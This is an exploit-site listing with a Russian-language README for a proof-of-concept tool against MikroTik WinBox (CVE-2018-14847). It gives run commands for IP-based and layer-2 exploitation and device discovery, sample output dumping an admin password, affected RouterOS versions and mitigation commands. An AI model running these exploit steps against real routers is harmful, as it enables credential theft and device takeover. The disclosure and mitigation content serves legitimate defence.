Sploitus

Exploit for Mikrotik-router-hack

CVE-2018-14847

kitploit · 2026-08-25

Exploit Code

MARKDOWN140 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HACKER30468-MIKROTIK-ROUTER-HACK
# WinboxExploit

Это доказательство концепции критической уязвимости WinBox (CVE-2018-14847), которая позволяет произвольное чтение файлов с паролями в открытом виде.

Уязвимость давно исправлена, поэтому этот проект завершён и больше не будет поддерживаться или обновляться. Вы можете форкнуть его и обновить самостоятельно.

## Сообщение в блоге

https://n0p.me/winbox-bug-dissection/

## Требования

  * Python 3+



Этот скрипт НЕ будет работать с Python 2.x или более старыми версиями.

## Как использовать

Скрипт прост в использовании с простыми аргументами в командной строке.

#### WinBox (TCP/IP)

Эксплуатируйте уязвимость и прочитайте пароль.

root@kitploit:~
    
    
    python3 WinboxExploit.py <IP-АДРЕС> [ПОРТ]
    

Пример:

root@kitploit:~
    
    
    $ python3 WinboxExploit.py 172.17.17.17
    Подключено к 172.17.17.17:8291
    Эксплойт успешно выполнен
    Пользователь: admin
    Пароль: Th3P4ssWord
    

#### MAC-сервер WinBox (уровень 2)

Вы можете извлекать файлы, даже если устройство не имеет IP-адреса.

Простая проверка обнаружения локально подключенных устройств Mikrotik.

root@kitploit:~
    
    
    python3 MACServerDiscover.py
    

Пример:

root@kitploit:~
    
    
    $ python3 MACServerDiscover.py
    Поиск устройств Mikrotik (MAC-серверов)
    
        aa:bb:cc:dd:ee:ff 
    
        aa:bb:cc:dd:ee:aa
    

Эксплуатируйте уязвимость и прочитайте пароль.

root@kitploit:~
    
    
    python3 MACServerExploit.py <MAC-АДРЕС>
    

Пример:

root@kitploit:~
    
    
    $ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
    
    Пользователь: admin
    Пароль: Th3P4ssWord
    

## Уязвимые версии

Все версии RouterOS с 2015-05-28 по 2018-04-20 уязвимы для данного эксплойта.

Устройства Mikrotik под управлением RouterOS версий:

  * Longterm: 6.30.1 - 6.40.7
  * Stable: 6.29 - 6.42
  * Beta: 6.29rc1 - 6.43rc3



Для получения дополнительной информации см.: https://blog.mikrotik.com/security/winbox-vulnerability.html

## Методы смягчения

  * Обновите маршрутизатор до версии RouterOS, содержащей исправление.
  * Отключите службу WinBox на маршрутизаторе.
  * Вы можете ограничить доступ к службе WinBox для определённых IP-адресов следующим образом:



root@kitploit:~
    
    
    /ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
    

  * Вы можете использовать некоторые правила фильтрации (ACL), чтобы запретить внешний доступ к службе WinBox:



root@kitploit:~
    
    
    /ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
    

  * Ограничить доступ к службе mac-winbox можно, указав разрешённые интерфейсы:



root@kitploit:~
    
    
    /tool mac-server mac-winbox
    

## Авторские права

  * Спонсировано CERTCC Ирана (https://certcc.ir). Все права защищены.